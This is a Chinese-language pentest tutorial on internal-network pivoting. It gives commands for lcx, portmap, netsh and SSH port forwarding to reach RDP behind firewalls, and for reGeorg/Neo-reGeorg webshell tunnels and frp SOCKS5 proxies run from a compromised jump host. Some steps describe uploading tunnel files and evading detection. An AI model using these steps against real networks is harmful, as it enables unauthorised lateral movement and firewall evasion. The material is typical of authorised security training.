内网代理转发
假如有这样的环境:
外网服务器存在双网卡,内网服务器不可访问公网但可以直接和外网服务器进行通信。基于这个场景,攻击者以外网服务器作为跳板,对内网服务器进行继续渗透。
端口转发类
Lcx
本地端口转发
防火墙等访问控制策略:不允许公网直接访问3389端口,此时可以尝试 lcx 的本地转发功能将其转发到其他端口。
- 先上传 lcx.exe 至外网服务器,执行如下
lcx.exe -tran 8888 127.0.0.1 3389
# 将本地8888端口流量转发到本地3389端口
# 攻击者直接连接外网服务器8888端口
正向端口转发
拿下外网服务器权限和内网服务器账号密码,尝试直接访问内网的3389端口。
- 外网服务器执行
lcx.exe -tran 8888 192.168.77.2 3389
# 将本地8888端口流量转发到内网机器3389端口
# 攻击者直接连接外网服务器8888端口
反向端口转发
拿下外网服务器和内网服务器的权限,并知道内网服务器账号密码。攻击者想要连接内网服务器的3389服务,但是防火墙规则,不允许外网服务器直接访问它。
可尝试在内网机器上将内网端口主动转发到外网服务器,随后攻击者连接外网服务器即可。
- 外网服务器监听在7777端口,并本地转发到8888端口
lcx.exe -listen 7777 8888
- 内网服务器主动反向连接外网服务器7777端口,并转发本地的3389端口流量
lcx.exe -slave 192.168.77.1 7777 127.0.0.1 3389
- 攻击者连接外网服务器8888端口即可
Linux 下的Lcx
portmap就是Linux下的lcx,需要手动上传 c 文件,并进行编译使用。
- 将流量正向转发到外网服务器的3389端口
./portmap -m l -p1 8888 -h2 192.168.77.2 -p2 3389
Netsh
Netsh 是 Windows 自带的命令行脚本工具,它可以建立端口映射。与 Lcx 不同,netsh 不支持反向的端口转发。
本地端口转发
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.77.1 connectport=3389
# 删除策略
netsh interface portproxy delete v4tov4 listenport=8888
正向端口转发
Netshinterface portproxy add v4tov4 listenaddress=192.168.77.1 8888 connectaddress=192.168.77.2 connectport=3389
# 删除策略
Netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.77.1
SSH
本地端口转发
在本地主机 Host A 上开启端口流量转发
# 本地执行
ssh -L 8866:192.168.10.3:23 -fN username@192.168.10.2
远程端口转发
在远程主机 Host B 上开启端口流量转发
# 在HostB上执行
ssh -R 8866:192.168.10.3:23 -fN username@192.168.10.1
SOCKS 代理类
reGeorg
reGeorg是一款把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP通信的工具。
- 上传 tunnerl 文件
- 攻击机运行:
python reGeorgSocksProxy.py -p 8080 -u http://ip:port/tunnel/tunnel.jsp
- 使用其他渗透工具时配置 socks 代理为本地8080端口即可 或者 使用Proxifier配置全局代理(Windows)、proxychains(Linux)
注意:Socks协议通过TCP协议进行数据传输,因而不提供如传递 ICMP 信息之类的网络层相关服务,ping测试会发现不通。
Neo-reGeorg
reGeorg稳定性不太好,且容易被杀,Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目。
- 提高 tunnel 连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景
基本使用:
- 设置密码生成 tunnel并上传到WEB服务器
python neoreg.py generate -k password
- 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
python neoreg.py -k password -u http://xx/tunnel.php
frp
frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行。
- 服务端启动(在自己 VPS上 )
./frps -c ./frps.ini
[common]
bind_port = 7000
Bind_addr = 0.0.0.0
dashboard_port = 7500 # 仪表盘端口
dashboard_user = admin # 仪表盘账号与密码
dashboard_pwd = passadmin
- 客户端启动(在获取到权限的跳板服务器上)
./frpc -c ./frpc.ini
[common]
server_addr = # VPS 地址
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true